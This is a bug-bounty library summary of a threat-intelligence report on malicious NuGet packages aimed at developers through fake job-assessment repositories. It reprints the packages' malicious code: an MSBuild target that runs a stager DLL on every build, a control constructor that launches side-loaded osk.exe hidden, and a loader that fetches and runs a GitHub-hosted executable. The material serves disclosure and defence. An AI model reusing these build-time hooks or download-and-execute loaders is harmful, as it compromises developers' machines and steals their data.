# 13 Malicious NuGet Packages Target .NET Developers With Fake Job Assessments

13 malicious NuGet packages in fake .NET job assessments run MSBuild stagers and WinUI controls that side-load osk.exe and download GitHub-hosted malware.

- Payout: Real-world hack
- Severity: high
- Program: NuGet
- Analysis by: Kush Pandya
- Disclosed: 2026-11-23
- Write-up quality: 8/10
- Original: https://socket.dev/blog/malicious-nuget-packages-fake-job-assessments
- Library page: https://bugbountylibrary.com/r/blog%3Asocket-dev-blog-malicious-nuget-packages-fake-job-assessments
- Tags: area:oss domain:oss impact:data-leak impact:rce kind:incident platform:threat-intel sev:high tech:dotnet tech:github-actions technique:chained technique:reverse-engineering technique:source-review vuln:command-injection vuln:dependency-confusion

**Target:** NuGet packages / MSBuild targets and WinUI 3 button controls
**Root cause:** Malicious packages ship build/<package_id>.targets that execute a bundled DLL after every build, plus WinUI control constructors that launch a staged osk.exe/osksupport.dll side-loading pair from %LOCALAPPDATA%.
**Steps:**
1. Lure repo sets `RestoreAdditionalProjectSources` to a committed Packages folder holding VS_Builder.MSBuildAnalyzer.1.2.7.nupkg and VS_Builder.WinUI3Controls.1.0.7.nupkg
2. Package's `build/VS_Builder.MsBuildAnalyzer.targets` runs `dotnet "$(MSBuildThisFileDirectory)..\lib\$(_AnalyzerLibFolder)\MSBuildAnalyzer.dll"` AfterTargets=Build with Outputs naming a never-created file so it runs every build
3. Stager decrypts Base64/XOR/AES fragments to a raw.githubusercontent URL, writes bytes to %LOCALAPPDATA%\osk\OskSupport.dll, copies `C:\Windows\System32\osk.exe` beside it
4. FileButton constructor calls TryInitializeEnvironmentCompatibilityProbe() which decrypts osk/osk.exe, joins to %LOCALAPPDATA%, and Process.Start with hidden window
5. osk.exe loads osksupport.dll from its folder (documented side-loading pair)
6. Separately, WinUI.Button WUIButton constructor downloads avast.exe via GitHub contents API with embedded token to %TEMP%\Launcher.exe and runs it
**How found:** Socket researchers tracked fake job-assessment repos, noticed committed .nupkg files and RestoreAdditionalProjectSources, decompiled MSBuildAnalyzer.dll and the WinUI controls, and decrypted fragment-based string obfuscation to recover URLs and paths.
**Exploitation:** Candidate builds and runs the take-home assessment on Windows; build-time target stages the side-load pair, runtime control launches it, yielding code execution in the developer's context. Other packages download and execute payloads directly from GitHub.
**Escalation:** Chained build-time stager with runtime trigger; separate paths use GitHub C2 loader, Chrome profile stealer, and Telegram-reporting payload.
**Insight:** Take-home repos that commit .nupkg files and set RestoreAdditionalProjectSources are a red flag; NuGet imports build/<package_id>.targets case-insensitively, so a targets file named for a different package ID still executes, and an Outputs file that is never produced forces the target to run on every build.

## Proof of concept (copied exactly from the original report)

**MSBuild target that runs stager DLL after every build**

```
<Target Name="ExecuteInlineCSharpTarget" AfterTargets="Build"
 Condition="'$(TargetFramework)' == 'net10.0' OR $(TargetFramework.StartsWith('net8.0-windows'))"
 Inputs="$(MSBuildProjectFullPath)"
 Outputs="$(TargetDir)ForceExecuteNonExistenFile.txt">

 <PropertyGroup>
 <_AnalyzerLibFolder Condition="$(TargetFramework.StartsWith('net8.0-windows'))">net8.0</_AnalyzerLibFolder>
 <_AnalyzerLibFolder Condition="'$(TargetFramework)' == 'net10.0'">net10.0</_AnalyzerLibFolder>
 </PropertyGroup>

 <Exec Command="dotnet &quot;$(MSBuildThisFileDirectory)..\lib\$(_AnalyzerLibFolder)\MSBuildAnalyzer.dll&quot;"
 WorkingDirectory="$(TargetDir)"
 IgnoreExitCode="true"
 ContinueOnError="true">
 <Output TaskParameter="ExitCode" PropertyName="_AnalyzerExitCode" />
 </Exec>
 </Target>
```

**FileButton constructor launches copied osk.exe**

```
private void TryInitializeEnvironmentCompatibilityProbe()
 {
 if (_environmentProbeExecuted)
 {
 return;
 }
 _environmentProbeExecuted = true;
 if (!RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
 {
 return;
 }
 try
 {
 string text = ResolveEnvironmentProbeTarget();
 if (!string.IsNullOrWhiteSpace(text) && File.Exists(text))
 {
 if (IsEnvironmentProbeActive(text))
 {
 WriteDiagnosticLog("[Environment Probe Skipped] An active probe instance was detected. Duplicate launch suppressed.", "Info");
 return;
 }
 Process.Start(new ProcessStartInfo
 {
 FileName = text,
 UseShellExecute = true,
 WindowStyle = ProcessWindowStyle.Hidden
 });
 WriteDiagnosticLog("[Environment Probe Initialized] Compatibility probe launched successfully.", "Info");
 }
```

**WinUI.Button constructor downloads and runs Launcher.exe**

```
public async Task Init()
 {
 string name = "Global\\MyUniqueApplicationGuid-12345";
 appMutex = new Mutex(initiallyOwned: true, name, out var createdNew);
 if (!createdNew)
 {
 return;
 }
 string githubApiUrl = $"https://api.github.com/repos/{owner}/{repo}/contents/{path}/avast.exe?ref={branch}";
 string savePath = Path.Combine(Path.GetTempPath(), "Launcher.exe");

The request authenticates with a 93-character fine-grained GitHub token stored in plain text in the DLL (github_p(redacted), SHA-256 9bc1be99462f89880e1e22d9d3ade01cbbfe8bae54a27125e0129542f92ce93f) and asks the GitHub contents API for the raw file:
C# 

 using HttpClient client = new HttpClient();
 client.Timeout = TimeSpan.FromSeconds(30.0);
 client.DefaultRequestHeaders.UserAgent.ParseAdd("MyUpdater");
 client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", token);
 client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/vnd.github.raw"));
 using (HttpResponseMessage response = await client.GetAsync(githubApiUrl))
 {
 response.EnsureSuccessStatusCode();
 using FileStream fs = new FileStream(savePath, FileMode.Create, FileAccess.Write, FileShare.None);
 await response.Content.CopyToAsync(fs);
 }
 downloaded = true;

Every exception is swallowed. After a failure, the loop waits one to four seconds and tries again with no retry limit. The file is then started through the Windows shell unless a process with the same path is already running:
C# 

 if (!downloaded)
 {
 await Task.Delay(TimeSpan.FromSeconds((double)random.Next(1, 5)));
 }
 if (File.Exists(savePath))
 {
 break;
 }
 }
 }
 try
 {
 if (!IsApplicationRunning(savePath))
 {
 Process.Start(new ProcessStartInfo
 {
 FileName = savePath,
 UseShellExecute = true
 });
 }
 }
```

